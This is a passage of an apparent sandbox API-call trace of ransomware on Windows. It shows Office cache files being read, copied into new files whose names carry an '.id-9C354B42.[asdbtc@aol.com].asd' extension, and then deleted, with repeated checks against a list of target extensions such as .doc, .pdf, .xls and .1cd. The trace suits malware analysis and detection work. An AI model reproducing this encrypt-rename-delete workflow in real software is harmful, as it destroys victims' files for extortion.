Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0042.685] GetLastError () returned 0x0 [0042.685] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x93a, lpOverlapped=0x0) returned 1 [0042.698] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x940, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x940, lpOverlapped=0x0) returned 1 [0042.699] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0042.699] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0042.699] SetEndOfFile (hFile=0x19c) returned 1 [0042.699] CloseHandle (hObject=0x19c) returned 1 [0043.051] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.051] SetEndOfFile (hFile=0x198) returned 1 [0043.052] CloseHandle (hObject=0x198) returned 1 [0043.052] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.053] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-0043-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0043.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.053] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.053] lstrlenW (lpString=".doc") returned 4 [0043.053] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.053] lstrlenW (lpString=".docx") returned 5 [0043.053] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.053] lstrlenW (lpString=".pdf") returned 4 [0043.053] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.053] lstrlenW (lpString=".xls") returned 4 [0043.053] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.053] lstrlenW (lpString=".xlsx") returned 5 [0043.053] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.053] lstrlenW (lpString=".ppt") returned 4 [0043.054] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.054] lstrlenW (lpString=".zip") returned 4 [0043.054] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.054] lstrlenW (lpString=".rar") returned 4 [0043.054] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.054] lstrlenW (lpString=".bz2") returned 4 [0043.054] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.054] lstrlenW (lpString=".7z") returned 3 [0043.054] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.054] lstrlenW (lpString=".dbf") returned 4 [0043.054] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.054] lstrlenW (lpString=".1cd") returned 4 [0043.054] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.054] lstrlenW (lpString=".jpg") returned 4 [0043.054] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.054] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.054] lstrlenW (lpString=".doc") returned 4 [0043.054] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.054] lstrlenW (lpString=".docx") returned 5 [0043.054] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.055] lstrlenW (lpString=".pdf") returned 4 [0043.055] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.055] lstrlenW (lpString=".xls") returned 4 [0043.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.055] lstrlenW (lpString=".xlsx") returned 5 [0043.055] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.055] lstrlenW (lpString=".ppt") returned 4 [0043.055] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.055] lstrlenW (lpString=".zip") returned 4 [0043.055] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.055] lstrlenW (lpString=".rar") returned 4 [0043.055] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.055] lstrlenW (lpString=".bz2") returned 4 [0043.055] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.055] lstrlenW (lpString=".7z") returned 3 [0043.055] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.055] lstrlenW (lpString=".dbf") returned 4 [0043.055] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.055] lstrlenW (lpString=".1cd") returned 4 [0043.055] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.055] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-0043-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.055] lstrlenW (lpString=".jpg") returned 4 [0043.055] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.056] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.056] lstrlenW (lpString="OneNoteMUI.xml") returned 14 [0043.056] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.057] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1606) returned 1 [0043.057] CloseHandle (hObject=0x198) returned 1 [0043.057] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 0x2020 [0043.057] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.057] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.057] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.058] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.058] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.058] GetLastError () returned 0x0 [0043.058] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x646, lpOverlapped=0x0) returned 1 [0043.060] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x650, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x650, lpOverlapped=0x0) returned 1 [0043.061] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0043.061] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xf0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xf0, lpOverlapped=0x0) returned 1 [0043.061] SetEndOfFile (hFile=0x19c) returned 1 [0043.061] CloseHandle (hObject=0x19c) returned 1 [0043.064] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.064] SetEndOfFile (hFile=0x198) returned 1 [0043.065] CloseHandle (hObject=0x198) returned 1 [0043.065] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.065] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\onenotemui.xml")) returned 1 [0043.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.066] lstrlenW (lpString=".doc") returned 4 [0043.066] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.066] lstrlenW (lpString=".docx") returned 5 [0043.066] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.066] lstrlenW (lpString=".pdf") returned 4 [0043.066] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.066] lstrlenW (lpString=".xls") returned 4 [0043.066] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.066] lstrlenW (lpString=".xlsx") returned 5 [0043.066] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.066] lstrlenW (lpString=".ppt") returned 4 [0043.066] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.066] lstrlenW (lpString=".zip") returned 4 [0043.066] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.066] lstrlenW (lpString=".rar") returned 4 [0043.066] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.066] lstrlenW (lpString=".bz2") returned 4 [0043.066] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.066] lstrlenW (lpString=".7z") returned 3 [0043.066] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.066] lstrlenW (lpString=".dbf") returned 4 [0043.066] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.066] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.066] lstrlenW (lpString=".1cd") returned 4 [0043.066] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.067] lstrlenW (lpString=".jpg") returned 4 [0043.067] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.067] lstrlenW (lpString=".doc") returned 4 [0043.067] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.067] lstrlenW (lpString=".docx") returned 5 [0043.067] lstrcmpiW (lpString1=".docx", lpString2="I.xml") returned -1 [0043.067] lstrlenW (lpString=".pdf") returned 4 [0043.067] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.067] lstrlenW (lpString=".xls") returned 4 [0043.067] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.067] lstrlenW (lpString=".xlsx") returned 5 [0043.067] lstrcmpiW (lpString1=".xlsx", lpString2="I.xml") returned -1 [0043.067] lstrlenW (lpString=".ppt") returned 4 [0043.067] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.067] lstrlenW (lpString=".zip") returned 4 [0043.067] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.067] lstrlenW (lpString=".rar") returned 4 [0043.067] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.067] lstrlenW (lpString=".bz2") returned 4 [0043.067] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.067] lstrlenW (lpString=".7z") returned 3 [0043.067] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.067] lstrlenW (lpString=".dbf") returned 4 [0043.067] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.067] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.068] lstrlenW (lpString=".1cd") returned 4 [0043.068] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.068] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\OneNoteMUI.xml") returned 77 [0043.068] lstrlenW (lpString=".jpg") returned 4 [0043.068] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.068] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.068] lstrlenW (lpString="Setup.xml") returned 9 [0043.068] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.069] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1988) returned 1 [0043.069] CloseHandle (hObject=0x198) returned 1 [0043.069] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 0x2020 [0043.069] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.069] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.069] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.069] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.069] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml.id-9c354b42.[asdbtc@aol.com].asd"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x19c [0043.070] GetLastError () returned 0x0 [0043.070] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x7c4, lpOverlapped=0x0) returned 1 [0043.071] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0x7d0, lpOverlapped=0x0) returned 1 [0043.072] ReadFile (in: hFile=0x198, lpBuffer=0x3a80020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2effed4, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesRead=0x2effed4*=0x0, lpOverlapped=0x0) returned 1 [0043.072] WriteFile (in: hFile=0x19c, lpBuffer=0x3a80020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2effc9c, lpOverlapped=0x0 | out: lpBuffer=0x3a80020*, lpNumberOfBytesWritten=0x2effc9c*=0xe6, lpOverlapped=0x0) returned 1 [0043.072] SetEndOfFile (hFile=0x19c) returned 1 [0043.072] CloseHandle (hObject=0x19c) returned 1 [0043.076] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.076] SetEndOfFile (hFile=0x198) returned 1 [0043.077] CloseHandle (hObject=0x198) returned 1 [0043.077] SetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml.id-9C354B42.[asdbtc@aol.com].asd", dwFileAttributes=0x2020) returned 1 [0043.077] DeleteFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml" (normalized: "c:\\msocache\\all users\\{90140000-00a1-0409-1000-0000000ff1ce}-c\\setup.xml")) returned 1 [0043.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.077] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.077] lstrlenW (lpString=".doc") returned 4 [0043.077] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.077] lstrlenW (lpString=".docx") returned 5 [0043.077] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.077] lstrlenW (lpString=".pdf") returned 4 [0043.077] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.077] lstrlenW (lpString=".xls") returned 4 [0043.077] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.077] lstrlenW (lpString=".xlsx") returned 5 [0043.078] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.078] lstrlenW (lpString=".ppt") returned 4 [0043.078] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.078] lstrlenW (lpString=".zip") returned 4 [0043.078] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.078] lstrlenW (lpString=".rar") returned 4 [0043.078] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.078] lstrlenW (lpString=".bz2") returned 4 [0043.078] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.078] lstrlenW (lpString=".7z") returned 3 [0043.078] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.078] lstrlenW (lpString=".dbf") returned 4 [0043.078] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.078] lstrlenW (lpString=".1cd") returned 4 [0043.078] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.078] lstrlenW (lpString=".jpg") returned 4 [0043.078] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.078] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.078] lstrlenW (lpString=".doc") returned 4 [0043.078] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0043.078] lstrlenW (lpString=".docx") returned 5 [0043.078] lstrcmpiW (lpString1=".docx", lpString2="p.xml") returned -1 [0043.078] lstrlenW (lpString=".pdf") returned 4 [0043.078] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0043.079] lstrlenW (lpString=".xls") returned 4 [0043.079] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0043.079] lstrlenW (lpString=".xlsx") returned 5 [0043.079] lstrcmpiW (lpString1=".xlsx", lpString2="p.xml") returned -1 [0043.079] lstrlenW (lpString=".ppt") returned 4 [0043.079] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0043.079] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.079] lstrlenW (lpString=".zip") returned 4 [0043.079] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0043.079] lstrlenW (lpString=".rar") returned 4 [0043.079] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0043.079] lstrlenW (lpString=".bz2") returned 4 [0043.079] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0043.079] lstrlenW (lpString=".7z") returned 3 [0043.079] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0043.079] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.079] lstrlenW (lpString=".dbf") returned 4 [0043.079] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0043.079] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.079] lstrlenW (lpString=".1cd") returned 4 [0043.079] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0043.079] lstrlenW (lpString="C:\\MSOCache\\All Users\\{90140000-00A1-0409-1000-0000000FF1CE}-C\\Setup.xml") returned 72 [0043.079] lstrlenW (lpString=".jpg") returned 4 [0043.079] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0043.080] lstrcmpiW (lpString1=".xml", lpString2=".asd") returned 1 [0043.080] lstrlenW (lpString="ProjectMUI.xml") returned 14 [0043.080] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.081] GetFileSizeEx (in: hFile=0x198, lpFileSize=0x2efff1c | out: lpFileSize=0x2efff1c*=1452) returned 1 [0043.081] CloseHandle (hObject=0x198) returned 1 [0043.082] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml")) returned 0x2020 [0043.082] GetFileAttributesW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml.id-9C354B42.[asdbtc@aol.com].asd" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml.id-9c354b42.[asdbtc@aol.com].asd")) returned 0xffffffff [0043.082] CreateFileW (lpFileName="C:\\MSOCache\\All Users\\{90140000-00B4-0409-1000-0000000FF1CE}-C\\ProjectMUI.xml" (normalized: "c:\\msocache\\all users\\{90140000-00b4-0409-1000-0000000ff1ce}-c\\projectmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x198 [0043.082] SetFilePointerEx (in: hFile=0x198, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2effec8 | out: lpNewFilePointer=0x0) returned 1 [0043.082] 